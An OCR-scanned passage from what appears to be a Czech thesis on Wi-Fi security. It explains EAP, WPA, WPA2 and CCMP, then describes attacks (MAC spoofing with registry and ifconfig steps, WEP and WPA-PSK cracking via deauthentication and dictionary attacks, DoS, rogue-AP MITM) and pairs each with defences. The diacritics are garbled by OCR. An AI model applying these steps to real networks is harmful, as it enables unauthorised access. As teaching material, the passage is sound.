1) Odeslani poc¢atecni zpravy od klienta piistupovému bodu. Ten odpovida zpravou
EAP REQUEST-ID, kterou se snazi zjistit identitu klienta.

2) Klient odesle svoji identifika¢ni udaje prostfednictvim zpravy EAP RESPONSE-
ID. Tato zprava je zapouzdiena do paketu RADIUS ACCESS REQUEST
a pristupovy bod ji odesild autoriza¢nimu serveru RADIUS.

3) RADIUS server odpovidd piistupovému bodu zpravou RADIUS
ACCESS ACCEPT/DENY. Tato zprava obsahuje rozhodnuti o povoleni/zakazani
pristupu. V ptipadé RADIUS ACCESS ACCEPT je piistup povolen. V piipadé
RADIUS ACCESS DENY je pfistup zakazan. Ptistupovy bod poté pieposle
rozhodnuti klientovi zpravou EAP SUCCESS/FAILURE. Zprava EAP SUCCESS
znamena povoleny pfistup. Zprava EAP FAILURE naopak zakazany.

4) Pokud je autentizace uspé€s$nd, byla piijata zprava EAP SUCCESS, je otevien
pravé ten port, pies ktery autentizace probihala. UZivatel komunikujici na tomto
portu je povazovan za autentizovaného.

EAP je protokol, ktery se vyuziva ke zprostiedkovani vymény autentiza¢nich zprav mezi
klientem, pfistupovym bodem a autentizacnim serverem. Tyto zpravy jsou zabaleny
do linkovych ramci. Existuji metody EAP, které fesi pouze autentizaci klienta viici

autentizatnimu serveru RADIUS. Potfeba je vSak provadét vzajemnou autentizaci. To
zabrafiuje podvrzeni ptistupového bodu utocnikem. Proto cely proces autentizace probiha
ve dvou zékladnich fazich. V prvni fazi ovéii klient, pomoci certifikdtu, identitu serveru.
Nasledné vytvofi Sifrovany tunel, po kterém bude probihat komunikace. V druhé fazi
dochéazi k autentizaci klienta vi¢i autentizacnimu serveru. VySe uvedenym zplUsobem
funguje naptiklad metoda EAP-TTLS (Tunneled Transport Layer Security) nebo PEAP
(Protected EAP).

Mezi nejcastéji pouzivané autentizani mechanismy patfi:

4.5

EAP-MD5
EAP-TLS
EAP-TTLS
LEAP
PEAP

WPA

Zkratka WPA znamend Wi-Fi Protected Access. Jednd se o metodu zabezpeCeni
bezdratové sité, kterd vznikla v roce 2001, kdy doslo k prolomenti sité zabezpecené pomoci
protokolu WEP. Pfi zjisténi téchto nedostatkli byl zapocat vyvoj nového zabezpefeni
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s oznacenim 802.11i. Tato bezpecnostni norma byla schvélena az v roce 2004. Mezitim
uvedlo sdruzeni vyrobcl Wi-Fi Alliance docasné feSeni v podobé WPA, které bylo
vyvinuto s ohledem na technické vybaveni. Cilem bylo ponechat stavajici hardware.
Pomoci méla pouhd aktualizace softwaru. BezpeCnostni mechanismy WPA slouzi
k potlaceni zndmych nedostatkii protokolu WEP. Mezi n¢€ patii Sifrovani statickym klicem
a slaba autentizace.

4.5.1 Sifrovani

Data jsou opét Sifrovana pomoci proudové Sifry RC4. Nové je vSak pouzit véEtsi
inicializacni vektor. Jeho délka je 48 bitd. Délka tajného klice je noveé 128 bitd. Vylepsené
Sifrovani bylo dosazeno protokolem TKIP (Temporal Key Integrity Protocol), ktery
vyuziva docasné kli¢e. Pro kazdy paket je generovan jiny kli¢. Pti vytvareni klice dochézi
ke slou¢eni MAC adresy pfijimaci stanice, pofadového ¢isla ramce a zakladniho klice.
Zakladni klic je vygenerovan hashovacim algoritmem pifi kazdé asociaci klienta
k ptistupovému bodu. Chrani proti utoku hrubou silou.

4.5.2 Kontrola integrity

WPA nevyuziva 32bitovy kontrolni soucet (CRC-32) jako piedchozi protokol WEP.
Vyuziva MIC (Message Integrity Check), ktery je soucasti standardu IEEE 802.11i. Jedna
se o vylepsenou kontrolu integrity dat nahrazujici klasicky kontrolni soucet (CRC) u WEP.
Zabranuje v piijeti faleSnych paketl. Jestlize ptistupovy bod pfijme dva nespravné MIC
koédy béhem minuty, provede piislusnd opatieni. Coz znamend, ze dojde k vygenerovani
nového TKIP kli¢e dané relace.

Pti navrhu WPA byl bran ohled na dva mozné zpisoby implementace. Mlze byt pouzit jak
ve firemnim, tak v domécim prostfedi. V domdacim prostiedi (vétSinou malé sit€) neni piilis
vhodné pouzivat na autentizaci uzivateli autentizacni server. Naopak ve firemnim
prostiedi je vyuziti autentizacniho serveru vhodné.

4.5.3 WPA - Pre Shared Key (PSK)

WPA-PSK je feSeni pro domaci sit€¢ nebo podnikové sit€¢ menSich rozméri. Pro pfipojeni
klienta do sité je nutné znat sdileny kli¢. Na zéklad¢ zadaného kli¢e rozhodne pftistupovy
bod o autentizaci klienta. Pokud je kli¢ zadany klientem shodny s klicem uloZenym v AP,
je klient Gspé$né autentizovan. Z pouzivani sdilené¢ho kli¢e plyne bezpecnostni riziko,
proto se doporucuje vyuzivat tento zpusob pro malé (domadci) site, €itajici nékolik malo
uZzivateli.

4.5.4 WPA - Enterprise

Vhodné piedevsim pro rozsahle podnikové Wi-Fi sité. Na rozdil od predchozi varianty ma
kazdy uzivatel jiné piihlaSovaci Udaje. Ovéfeni a ndsledné povoleni ptistupu do sité
provadi autentizacni server, coz poskytuje rozhodné vyssi zabezpeceni. Autentizace se
provadi ptes EAP-TLS (EAP-Transport Layer Security) ktery zajiStuje bezpecnou
komunikaci klienta s autentizatnim serverem. K bezpecnému ovéfeni uzivatele
a autentizacniho serveru se pouziva systém vetejnych klict (certifikati). Klient za pomoci
svého vetejného klice zasifruje a nasledné¢ deSifruje zpravy mezi nim a serverem. Ke své
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zprave prida digitalni podpis pomoci svého soukromého klice a server si pomoci vetejného
klice z certifikatu klienta ovéii pravost podpisu. Stejny postup pouZije i klient pro ovéteni
pravosti autentiza¢niho serveru. Toto feSeni zabranuje ttoklim typu man in the middle.

Tabulka 5 - Pracovni reZimy WPA

Rezim Autentizace Sifrovani
Firemni méd 802.1x /EAP TKIP / MIC
Domaci mod PSK TKIP / MIC

46 WPA2

Zabezpecovaci metoda WPA2 vychdzi z, ndm jiz zname, metody WPA. Tuto metodu
rozsifuje o protokol CCMP. Na rozdil od protokolt WEP a WPA nevyuziva k Sifrovani
proudovou Sifru RC4, ale novéjsi blokovou Sifru AES (Advanced Encryption Standard).
Pouziti této Sifrovaci metody umozni pouziti az 256 bit dlouhé¢ho klice. WPA2 také
vyuziva rezim PSK (Pre-Shared Key). Kazdy klient, pfipojujici se do sité, musi znat jediné
sdilené heslo o 8 az 63 znacich. To je vSak znatelné bezpecnostni riziko, protoze hrozi
vyzrazeni tohoto klice. Pfi pouziti pfili§ kratkého hesla je mozné toto heslo ziskat pomoci
slovnikového ttoku.

Obsahuje stejn¢ jako WPA dva zpiisoby zabezpecenti:

e Enterprise
e Pre Shared Key

Oba pracovni rezimy jsou v ramci kompatibility naprosto shodné s WPA. Neni proto nutné
je nadale rozepisovat. VSechny potifebné informace je mozno najit v predchozi kapitole
(pro Enterprise kapitola 4.5.3 a pro PSK kapitola 4.5.4).

4.6.1 CCMP

Jednd se o protokol pouzivany v zabezpeCovacim algoritmu WPA2. Byl vytvofen, aby
nahradil stavajici protokol TKIP (Temporal Key Integrity Protocol), pouzivany u WPA.
Namisto proudove Sifry RC4 vyuziva blokovou Sifru AES. Diky 128 bitovému klici je Sifra
povaZzovana za neprolomitelnou. I to m4 ale své nevyhody. Kviili své vypocetni narocnosti
neni podporovana starSimi zafizenimi.
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5 Typy utoku na bezdratovou sit’

5.1 MAC SPOOFING

Jedna se o typ utoku, kdy jedinou bezpecnostni pieckazkou je filtrovani MAC adres, kterou
lze piekonat béhem néckolika malo sekund. V prvni fazi utocnik odposlouchava
komunikaci v siti a snazi se o zachyceni MAC adresy zafizeni, které ma do této sité
pfistup. Druhd faze spociva ve zmén€ MAC adresy své sitové karty na adresu, kterd byla
odposlechnuta. Na prvni pohled by se mohlo zdat, Ze MAC adresa kazdého zafizeni je
pevné dand jeho vyrobcem. Pravda je ale takova, Ze MAC adresa je soucésti firmwaru
sitové karty. Za pomoci specialniho softwaru na zménu MAC adresy (naptiklad MAC
MakeUp nebo SMAC) nema ani mén¢ zkuSeny uzivatel problém realizovat takovyto utok.
Pii pouZiti tohoto zplisobu musime zajistit, aby stanice, jejiz adresu jsme si nastavili jako
svoji, nevysilala. Nejjednodussi zpiisob je pockat az se odpoji, nebo ji odstavit jinym
zpusobem (DoS utok). Vice v kapitole 5.5 Denail of Service.

e Zména MAC v OS Windows
Zménu v OS Windows je mozno provést v systémovych registrech. Postup je nésledujici:

1) V prikazovém tadku spustime editor registru ,,regedit

2) Vyhledame kli¢ [HKEY LOCAL MACHINE — SYSTEM — CurrentControlSet
—Control - Class {4D36E972-E325-11CE-BFC1-08002BE10318}, ktery
obsahuje dalsi podkli¢e sitovych adaptérti ve tvaru 0001, 0002, 0003, atd.

3) Vyhleddme adaptér, jehoz MAC adresu chceme zménit. V tom nam pomuze
polozka ,,DriverDesc*

4) Vytvofime novou fetézcovou hodnotu REG SZ, kterda bude mit néazev
"networkaddress" a jeji hodnota bude pozadovana MAC adresa.

r il
ravit retezec
e -
Nazev hodnaoty:
networkaddress
IJdaj hodnaty:
112233445566
QK ] | Stomo

Obrazek 8 - Zména MAC adresy

Poznamka: Pokud chceme MAC adresu 11-22-33-44-55-66, hodnota, kterou budeme
zapisovat do pole "Udaj hodnoty" bude v tomto tvaru 112233445566.

e Zména MAC v OS Linux
Zménu v OS Linux Ize provést jednoduse z ptikazového fadku za pomoci nastroje ifconfig
a probiha v nésledujicich krocich:
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1) Vypnuti zafizeni

ifconfig <interface> down
2) Vlastni zména adresy

ifconfig <interface> hw ether <MAC adresa>
3) Zapnuti zafizeni

ifconfig <interface> up

V piikazech za <interface> dosadime identifikdtor rozhrani (napt. ethO, ethl, atd.),
za <MAC adresa> adresu ve tvaru 00:00:00:00:00:00.

Zménu ovéfime pomoci ndsledujiciho piikazu:
ifconfig <interface>

Poznamka: Zména MAC adresy miize ovlivnit provoz nékterych sitovych sluzeb, které
nemusi byt poté funkéni.

5.2 WEP CRACKING

Moznosti prolomeni bezdratové sité zabezpeCené pomoci protokolu WEP existuje velké
mnozstvi. Jiz vroce 2000, vydan byl vroce 1999, byla publikovana prace
o bezpecnostnich nedostatcich protokolu WEP. Od roku 2004 se sit’ zabezpecena pomoci
protokolu WEP povazuje za soukromou, ne vSak zcela bezpeCnou. Klie lze ziskat
pasivnim utokem zaméfenym na deSifrovani zachycenych ptenost. Odposlouchdvanim
komunikace mezi pfipojenou stanici a pfistupovym bodem, ke kterému je stanice
piipojena, lze ziskat tajny kli¢. Cim vétsi provoz na siti je, tim rychleji dojde k vy&erpani
pseudondhodnych inicializacnich vektorti. Ty se poté zacnou opakovat a usnadni
proloment klice.

5.2.1 Brutal-force attack

Jedna se o utok hrubou silou. Tento typ utokd spo¢iva v postupném testovani vsech
moznych hodnot Sifrovaciho klice. Pro WEP64 ma Sifrovaci klic délku 40 bitd, pro
WEP128 je pak délka klice 104 bitl. Za pomoci vykonného pocitace lze v piijatelném cCase
provadét utok hrubou silou pouze na 64 bitovou variantu WEP. Takovy tutok muze trvat
n&kolik hodin, az dni. Utok na 128 bitovou variantu je ¢asto realizovan v kombinaci se
slovnikovym utokem. To z divodu, Ze se jednd o ¢asové pomérn¢ ndrocnou c¢innost.
Obrana proti takovému ttoku spocivéa v Casté zmeéné Sifrovaciho klice, coz zabranuje jeho
prolomeni. Pokud je pfesto prolomen, je po zméné kli¢e paivodni kli¢ neplatny. Utoénik tak
nemuze zneuzit ziskané udaje k pfipojeni do sité. DalSi moznosti jak se branit je omezeni
po¢tu pokusti o autentizaci. To vSak miZe zplsobovat problémy i pfi autentizaci
opravnéného uzivatele.

5.2.2 Injekce paketu
Pti tomto utoku dochazi ke zméné hlavi¢ky paketu nebo se zcela nahradi datovy blok. Lze
provadét diky tomu, Ze se inicializa¢ni vektor nemusi ménit pro kazdy paket. Pokud se
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nam podafi ziskat neSifrovany text néjakého zachyceného Sifrovaného paketu, lze z néj
odvodit Sifrovaci sekvenci. Nasledné zaSifrujeme ndmi zvoleny text pomoci této Sifrovaci
sekvence. Tento podvrhnuty text bude desifrovan jako platny.

5.2.3 FMS

Nazev tohoto utoku je odvozen od jmen svych autorti. Témi jsou Fluhrer, Mantin a Shamir,
kteti utok popsali jiz v roce 2001. Tento Gtok vyuziva zranitelnosti proudové Sifry RC4,
kdy nékteré IV inicializuji pseudondhodny generator nasledujicim zptisobem. Prvni bajt
Sifry je vygenerovan za vyuziti bajtu z klice. To ¢aste¢né odhaluje informaci o privatnim
kli¢i. Také se zde vyuziva znalosti, Ze prvni bity IP a ARP paketl jsou hexadecimdlni
hodnotou OxAA. S vyuZzitim téchto znalosti staci uto¢nikovi zachytit dostatecné mnozstvi
pakett, respektive inicializacnich vektorti. Z nich Ize pak odvodit tajny klic.

Obrana
Vhodnou obranou je:

e pouzivat nejdelsi mozny kli¢ (rad€ji WEP128, nez WEP64).

e nepouzivat piilis jednoduchd hesla (napt. 12345, heslo, dlink, atd) Takova hesla
jsou ¢asto soucasti slovniku a jejich proloment je o to jednodussi.

e pouzivat bezpecnd hesla. Kombinace velkych amalych pismen obsahuji
interpunk¢ni znaménka nebo cislice. Vice v kapitole 6.2 Problematika hesel.

e provadét zménu klice.

5.3 PSK CRACKING

Bezpe¢nost WPA-PSK je zaloZena na jednom sdileném hesle, které je tieba k pfipojeni
do sité. Pokud je toto heslo odhaleno, uto¢nikovi nic nebrani v ptistupu. Utoénikovi sta&i
odposlechnout jednu jedinou vymeénu paketd pii autentizaci klienta, kterou neni problém
vynutit zaslanim deautentizacni ho ramce. V takovém piipad¢ se stanice musi odpojit a pii
nasledném pfipojeni znovu autentizovat. Deautentizatni ramce jsou identifikovany MAC
adresou pfistupového bodu, ta lze ale také podvrhnout. Na zikladé¢ odposlechnuté
autentizace (WPA handshake) mize zkousSet hesla ze slovniku 1 mimo dosah sit¢.

Obrana

Jelikoz je bezpecnost bezdratové sité zalozena na jednom sdileném hesle, tak vhodnou
obranou proti Utoku na WPA-PSK je pouziti dostatecné silného hesla. Vice v kapitole
6.2 Problematika hesel.

5.4 ANALYZA PROVOZU

Analyza provozu je dilezitd pfedevSsim ve firemnim prostifedi pfi zjiStovani maximalni
dostupnosti sité. Je dilezité, aby sit’ byla provozovana bez jakychkoliv vypadkt, které
mohou mit vliv na dostupnost dilezitych informaci. Mezi nejzndmé&;j$i analyzatory provozu
patii urcité analyzator paketii Wireshark. Ten je vyvijen jako open source, coz znamena, ze
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jeho zdrojové kody jsou volné k dispozici. Po spusténi programu vybereme rozhrani, které
bude zachytavat komunikaci v promiskuitnim modu (jinak feceno monitorovacim maodu)
a spustime zachytavani provozu. Jednotlivé parametry zachytavanych paketi (naptiklad
zdrojové adresy a porty) mohou byt pomoci filtru skryty. Neznamend to vsak, ze
o zachycena data ptichdzime. Jsou pouze skryta z diitvodu prehlednosti vypisu a mohou byt
kdykoliv opét zobrazena. Pokud zname tajny kli¢, je mozné desifrovat zachycenou
Sifrovanou komunikaci. Kazdé provedené zachytdvani mize byt uloZeno do specidlnich
souborovych formatt.

5.5 DENIAL OF SERVICE

Cilem vétSiny popsanych utokiti je ziskdni ptihlasovacich Udaji za ucelem pftistupu
do bezdratové sité. Z nazvu DoS (Denial of Service) lze odvodit, ze tomu tak neni. Cilem
utoku typu DoS je vyrazeni n¢jaké sluzby (vétSinou sitového pfipojeni), pocitace nebo
dokonce celé sit¢ z provozu. Podstatou utoku je generovani provozu a zahlceni systému
velkym mnoZzstvim dotazl, které nestiha zpracovavat. Pii Gtoku na bezdratovou sit se
velmi ¢asto vyuziva v kombinaci s itokem MITM popsanym v nasledujici kapitole. Utok
je smérovan proti piistupovému bodu za ucelem vyrazeni jeho ¢innosti z provozu. Existuji
dva zplisoby jak pfistupovy bod vyradit. Jednim z nich je zplsob vyuzivajici protokol
TCP/IP, ktery je realizovan nasledujicim zpaisobem. Utoénik se snaZi generovat co nejvice
dotazii na jedno konkrétni zatizeni. Toto zafizeni pfestdva po néjaké dob¢ stihat na tyto
dotazy odpovidat a tim je vyfazeno z provozu. V dnesni dob¢ se vSak velka ¢ast vyrobcu
snazi implementovat obranné mechanismy, aby zabranili moznych zahlcenim zatizeni. Pti
detekci DoS utoku se zafizeni snazi zablokovat IP adresu pocitace, ze které dotazy
ptichazeji. Pti distribuované varianté DDoS (Distributed Denial of Service) ttoku dochazi
k zaplavovani z vice mist. Zafizeni tak nesta¢i blokovat pouze jednu adresu tutoc¢nika.
Druhou moznosti jak vytadit pristupovy bod z provozu je zaruSeni frekvence na které
vysila. To se provadi tak, ze do blizkosti pfistupového bodu utoénik ptida dalsi ptistupovy
bod. Tento ptidany pfistupovy bod je nastaven tak, aby vysilal na stejné frekvenci. Tim
dochazi k tomu, ze se signal stava spatn¢ detekovatelnym pro koncova zatizeni. Vyhodou
pro utocnika je, ze pti provadeéni tohoto utoku, neni tieba ziskavat ptistup do sité.

Obrana

Jelikoz se DoS casto vyuziva v kombinaci s MITM tutokem je dulezité zamezit praveé
moznost utoku MITM. Vhodnou obranou je také filtrovani MAC adres nebo pouzivani
firewallu s dobrou analyzou ptichozich pakett.

5.6 DICTIONARY ATTACK

Kazdy slovnikovy utok je zaloZen na postupném zkouSeni, pomoci specidlni aplikace,
vSech pfedem ulozenych hesel ve slovniku. Pii nalezeni spravného hesla dojde k piihlaseni
a tim utok kon¢i. Zakladem takové utoku je dostateCné kvalitni slovnik. Na internetu lze
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stahnout jiz vytvotené slovniky', nebo si 1ze pomoci specialniho nastroje vytvoftit slovnik
vlastni.

5.6.1 Pomoci grafické karty

Pro realizaci slovnikového utoku pomoci grafické karty je nutné mit grafickou kartu
Nvidia s podporou technologie CUDA. Vys§i rychlost vypocti spociva v déleni
stream procesory. Vice o této technologii v nasledujicim odkaze®. Vzhledem k tomu, Ze
vykon grafické karty je nc€kolikandsobné vyssi, nez je vykon procesorti, je vhodné jeji
pouziti k utoku. Toho lze wvyuzit pro slovnikovy utok na WPA kli¢, kde pocet
vyzkousenych slov je béhem sekundy mnohonasobné vyssi.

Obrana

Nejveétsim bezpecnostnim rizikem v pfedchazeni tomuto utoku je lidsky faktor. Uzivatelé
si Casto nepravné voli pfili§ jednoducha hesla. Vice o tom jak zvolit bezpecné heslo je
mozné zjistit v kapitole 6 Zasady zabezpeceni.

5.7 MAN-IN-THE-MIDDLE

Podle ndzvu (muz uprostied) lze odvodit, Ze se jedna o typ utoku, kdy se utocnik dostava
do pozice mezi ptistupovy bod a pfipojujici se stanici. Cilem tuto¢nika je pfesmérovani
datového toku tak, aby mohl pohodind odposlouchavat. Utoénik je schopen zachytit
a modifikovat pfendSené zpravy bez védomi komunikujicich stanic. MITM utoky je mozné
vyuzit napiiklad pfi Gtoku na bezdritovou sit vyuzivajici oveéfovani uzivateli pomoci
vetejnych kli¢l. Ze zachycené komunikace dokaze utoCnik zjistit IP adresy a vysilané
SSID pristupového bodu. Za pomoci téchto informaci mize utocnik vytvorit faleSny
ptistupovy bod se stejnym SSID a pouzitym zabezpecenim jako mé original. Aby na takto
vytvofeny pristupovy bod naldkal uzivatele, musi original vytadit z Cinnosti, coz lze
provést pomoci DoS ttoku. Tim donuti uZivatele, aby se pfipojovali misto k origindlnimu
pristupovému bodu k tto¢nikem podvrzenému. Pi1 zadéani platnych ptihlasovacich udaja
nedojde k ptihlaseni, ale Gto¢nik tak ziska pravé tyto platné ptihlasovaci tidaje. Nasledné
se muze pomoci takto ziskanych udajl ptihlasit pies originalni pfistupovy bod.

Obrana

Obranou proti utokiim typu MITM je pouziti vhodnych autentiza¢nich metod nebo vyuziti
VPN (Virtual Private Network). MozZnosti jak odhalit takovy utok je monitorovani
pristupovych bodii. Vice v kapitole 7 Bezpecnost v praxi.

! Napriklad na adrese http://www.aircrack-ng.org/doku.php?id=fag#where can i find good wordlists

? Nvidia CUDA http://developer.nvidia.com/what-cuda
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6 Zasady zabezpeceni
6.1 Jak zvolit

Neexistuje zptsob jak zabezpeCit svoji bezdratovou sit’ proti neopravnénému piistupu
na 100%. V domacim prostfedi vétSinou zalezi na schopnostech uzivatele. Konkrétné
na tom, jak dobie dokdze nakonfigurovat pfistupovy bod. Ve firemnim prostiedi
predpokladame, ze konfigurace bude provedena odborng€. VSe pak zalezi predevsim
na technickém vybaveni. Vice v kapitole 7 Bezpec¢nost v praxi.

6.2 Problematika hesel

Pouzivéani hesel je jedna z nejjednodussich a nejlevnéjSich metod zabezpeceni. Existuje
vSak mnoho zplisobii jak heslo zjistit. Heslo miize byt odposlechnuto, zachyceno
specialnim programem pro logovani stisknutych klaves, vyzrazeno samotnym uZzivatelem
nebo prolomeno slovnikovym utokem. Lze tedy rozliSovat hesla, kterd jsou pro
zabezpeceni nejen bezdratové sité vhodna ¢i nevhodna.

Heslo je nevhodné pokud:

e je mozné ho najit ve slovnicich.

e je kratSi nez osm znakd.

e pouzijeme naptiiklad jméno, znacku auta nebo nazev oblibené hudebni skupiny.
e pouzijeme pouze kombinaci ¢isel (datum narozeni).

Vhodna hesla:

e obsahuji interpunk¢ni znaménka nebo cCislice (napiiklad 0-9, |@#$%"&*()_+|~-).
e jsou sloZena z kombinaci velkych 1 malych pismen.
e jsou del$i nez osm znakd.

Po vytvoteni hesla se 1ze presveédcit o jeho kvalité¢ na webu projektu The Password Meter’.

Pokud méame problém s vymyslenim dostate¢né silného hesla, miiZzeme pouZit generator
4
hesel”.

? Projekt The Pasword Meter na adrese http://www.passwordmeter.com/

* Generator hesel na adrese http:/darkvoice.dyndns.org/wlankeygen/

35



7 Bezpecnost v praxi

Shrnuti vyhod a nevyhod jednotlivych typti zabezpeceni. VSechny technické parametry
jsou uvedeny v nasledujicich tabulkéch.

Tabulka 6 - Specifikace pouZitych zabezpecovacich metod [3]

WEP WPA 802.11i (WPA2)
Autentizace Oteviend EAP-TLS / PEAP EAP-TLS / PEAP
Sifrovani Staticky WEP TKIP / CKIP AES
Tabulka 7 - Odolnost proti jednotlivym utokam [3]
Typ utoku Mira odolnosti
Na integritu, diivérnost dobra lep& neilend
dat, man in the middle P Jiep
fale$na autentizace nic moc nejlepsi nejlepsi
na slaby kli¢ nic moc nejlepsi nejlepsi
falSované pakety minimalni nejlepsi nejlepsi
falesny pfistupovy bod minimalni lepsi lepsi
pro domaci sit’ (40 — pro podnikovou sit’ pro podniky i vladu
uroven Sifrovani nebo 104bitovy kli¢; (128bitovy klic¢; 48bitovy (128+bitovy kli¢;
24bitovy vektor IV) vektor IV) 48bitovy vektor IV)

Tabulka 8 - Uplatnéni WEP, WPA a WPA2 [3]

autentizace Sifrovani pouZitelnost pro pouZitelnost pro domaci a
podnikové sité malé sité
WEP nulova WEP nic moc dobra
WPA (PSK) PSK TKIP nic moc nejlepsi
WPA2 (PSK) PSK AES-CCMP nic moc nejlepsi
WPA (plna) 802.1x TKIP lepsi dobra
WPA2 (plna) 802.1x% AES-CCMP nejlepsi dobra
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7.1 Domaci sit’

Mira zabezpeCeni domaci sité¢ je Casto dana schopnostmi uzivatele. Domaci sité¢ vSak
nepiedstavuji prili§ atraktivni cile pro utocniky. Ziskat ptistup do takové sité je Casto
ziskanych dat. Casto se u takovych siti itocnik zamétuje hlavné na ziskani pfihlaSovacich
udaji za ucelem pfipojeni se do sit¢ Internet. VyS$i pozadavky na zabezpecCeni nez
u domécich siti jsou kladeny u firemnich siti.

Pii navrhu zabezpe€eni domadci sité je nutné vychazet z pozadavkl uzivatelll vyuZzivajicich
tuto sit’. Existuji uzivatelé, kteti se domnivaji, Ze nikdo nema ditvod tocit na jejich Spatné
nebo viibec zabezpe€enou sit. Na druhé strané se miZzeme setkat s uZivateli, ktefi pozaduji
1 v domacim prostfedi vysokou miru zabezpeceni.

e Zména tovarniho nastaveni AP - Toto je véc, kterou spousta lidi zanedbava. Pro
piistup do konfigurace je nutné byt do sité pfipojen. To izoluju klienty, kteti nemaji
do sit¢ pristup. AvSak pi1 prolomeni zabezpecCeni bezdratové sité, neexistuje pii
nezménénych piihlaSovacich udajich do konfigurace zadna piekazka k ptipojeni.
Pfedem nastavend jména a hesla od vyrobce zafizeni, jsou vSeobecné zndma a neni
problém je dohledat v dokumentaci na Internetu. Napiiklad jméno admin, heslo
admin nebo jméno admin, heslo 1234 jsou Casto pouzivand jako vychozi nastaveni
piimo od vyrobce ptistupovych bodu.

e Volba vhodnych hesel — Diilezité je zvolit dostate¢né silné heslo. Idealni je volba
kombinace velkych a malych pismen obsahuji interpunkéni znaménka nebo ¢islice.
Vice v kapitole 9.2 Problematika hesel.

e ZruSeni vysilani SSID - Tim, Ze zakaZeme vysilani SSID, udélame sit’
neviditelnou pro okoli. Existuji v§ak specidlni néstroje, které dovedou zjistit SSID
1 kdyZ neni vysilano. Dale neni vhodné pozivat ptistupové heslo do sit¢ shodné
s SSID. Vypnuti SSID neni povinnou soucasti standardu 802.11, ale vétSina
zafizeni tuto moznost podporuje.

e Filtrace MAC adres - Hodi se pro zabezpefeni domacich siti nebo malych
firemnich siti a to predevsim jako dopln¢k k WEP nebo WPA (WPA2). Pti utoku
na sit’ vyuzivajici filtrovani MAC adres neni problém ovéfit platnost pouzitych
MAC adres a takovou adresu podvrhnout. To vSak Uto¢nikovi zabere Cas navic
a dela tak pro néj Gtok o néco namahaveéjsi.

e Fyzicka bezpefnost AP - Fyzickou bezpe¢nosti je mySleno umisténi sitovych
prvkli na, neopravnénym osobam, nedostupnd mista. V domacim prostiedi to
nebyva velky problém. V podstaté staci mit piistupovy bod uvnitf domu.
Ve firemnim prostiedi pak naptiklad v zamcené technické mistnosti.
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e Omezeni dosahu - Omezeni dosahu pfistupového bodu se pouziva, aby se signal
nesifil zbyte¢né daleko. Naptiklad do okolnich byt v panelacich nebo do okolnich
domil a zahrad. Existuji tfi mozZnosti jak Sifeni signdlu ovlivnit.

o PouZiti smérové antény - Nahrazeni klasické vSesmérové antény smérovou
anténou. Je nutné zakoupit novy hardware a je vhodné nejdiive ovéftit, zda
se tento nakup vyplati.

o Omezeni vykonu - Jednd se o metodu, kdy lze omezit vykon stavajici
vSesmérové antény na minimalni avSak stdle dostacujici hodnotu. Nékteré
levnéjsi modelu tuto moZznost nepodporuji.

o Strategické umisténi - Je vhodné umistit pfistupovy bod do stfedu bytu tak,
aby se minimum signalu §ifilo mimo tento byt.

e Aktivace bezpe¢nostnich mechanismii - Pouzivani zabezpecovacich protokolt je
nedostatky protokolu WEP plati, Ze je lepsi vyuzivat pravé jej, nezli nic. Dava to
siti alespon status, ze se jedna o privatni sit’ nikoliv o vefejnou. Mnohem lepsi je
vyuzit zabezpefeni pomoci WPA (v domacim prosttedi vétSinou WPA-PSK).
Nejlepsi moZnou variantou je vyuziti WPA2 také vétSinou v rezimu PSK.

7.2 Firemni sit’

Na zabezpeceni firemnich bezdratovych siti jsou kladeny mnohem vys8i naroky, nez je
tomu udomacich bezdratovych siti. Ve vétSiné piipadl je pozadovana stejna mira

24 v

zabezpeceni jako u kabelové sité. Vyhody, které pfinasi pouzivani bezdratové sité, jsou
zfejmé. V prvni fadé je to lepsi mobilita stanic. Druhou vyhodou je snadnéjsi instalace
oproti kabelovym strukturovanym sitim. Na druhé stran¢ je vSak velkou nevyhodou horsi
zabezpeceni a niz$i spolehlivost. Pfi rozhodovani o instalaci takové sité je proto nutné
zvazit vSechny vyhody a nevyhody. Ve firmach je také casto nutné pripojovat se do interni
sité¢ pomoci vzdaleného ptipojeni pres verejnou sit’ (Internet). Takové piipojeni je nutné
zabezpecit. Nejhodnéjsim fesSenim je vyuziti virtudlni privatni sit¢ VPN (Virtual Private
Network).

e Monitorovani pristupovych bodu - V rozsahlych firemnich sitich je nutné mit
piehled o poctu arozmisténi piistupovych bodu. Existuji specidlni programy,
analyzatory sité, které dovedou odhalit falesny ptistupovy bod. Jednim z nich je
napiiklad NetStumbler. Problém spociva v tom, ze néktery ze zaméstnanci muze
do sité pfipojit novy nezabezpeceny piistupovy bod. V rdmci bezpecnosti sité by
méli byt o tomto problému zaméstnanci proskoleni.

e Autentizaé¢ni server - Pokud navrhujeme zabezpeceni pro firemni bezdratovou sit,
rozhodné¢ bychom neméli volit zabezpeCeni WEP. Minimalni vhodnou miru
zabezpeceni poskytuje az WPA-EAP. Vyuziti autentiza¢niho serveru, kdy ovéteni
a néasledné povoleni pfistupu do sité provadi pravé autentizacni server, je vice nez
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vhodné. Autentizace pii pfihlasovani do sit¢ by méla byt vzajemna. To z divodu,
aby nemohl uto¢nim podvrhnout faleSny ptistupovy bod, ¢imz se zabranuje utokiim
typu man in the middle.

e Pokryta oblast - Je dulezité minimalizovat presah signdlu do mist, kde je jeho
vyskyt zbytecny, mnohdy az nebezpecny. Obvykle firma nechce, aby signal jeji
interni sit¢ byl zachytitelny mimo aredl firmy. Napiiklad firemni parkovisté nemusi
byt pokryto signdlem bezdratové sité. Vhodnym feSenim je omezeni dosahu
ptistupového bodu nebo vyuziti sektorové a smerové antény.

e Bezdratova zona - Odd¢leni bezdratové sit¢ od kabelové sit¢ pomoci firewallu,
ktery je nakonfigurovan tak, aby povolil pfistup pouze pfedem uréenym MAC
adresam.

e DHCP - Pro domaci sit’ je pouzivani DHCP idedlni volbou vzhledem k snadné
konfiguraci. DHCP server pfidé€luje automaticky IP adresy z daného rozsahu. Neni
vSak schopen ovéfit zda uzivatel ma potfebna opravnéni pro ziskani IP adresy. Pii
nastaveni [P adres staticky (rucn€¢) a vypnutém DHCP serveru jsme schopni
minimalizovat bezpec¢nostni riziko v podobé neopravnéného ziskani platné IP
adresy Utocnikem.

Vyhrazené rozsahy IP adres pro vnitini sité:
e 10.0.0.0.az710.255.255.255
e 172.16.0.0 az 172.31.255.255
o 192.168.0.0 az 192.168.255.255

Vétsina pristupovych bodi ma od vyrobce prednastavenou IP adresu 192.168.0.1.
Utoénik proto vyuziva této znalosti a zkousi tento rozsah jako prvni. V ramci
zvySeni bezpecnosti je proto vhodné tento vychozi rozsah IP adres zménit na jiny.

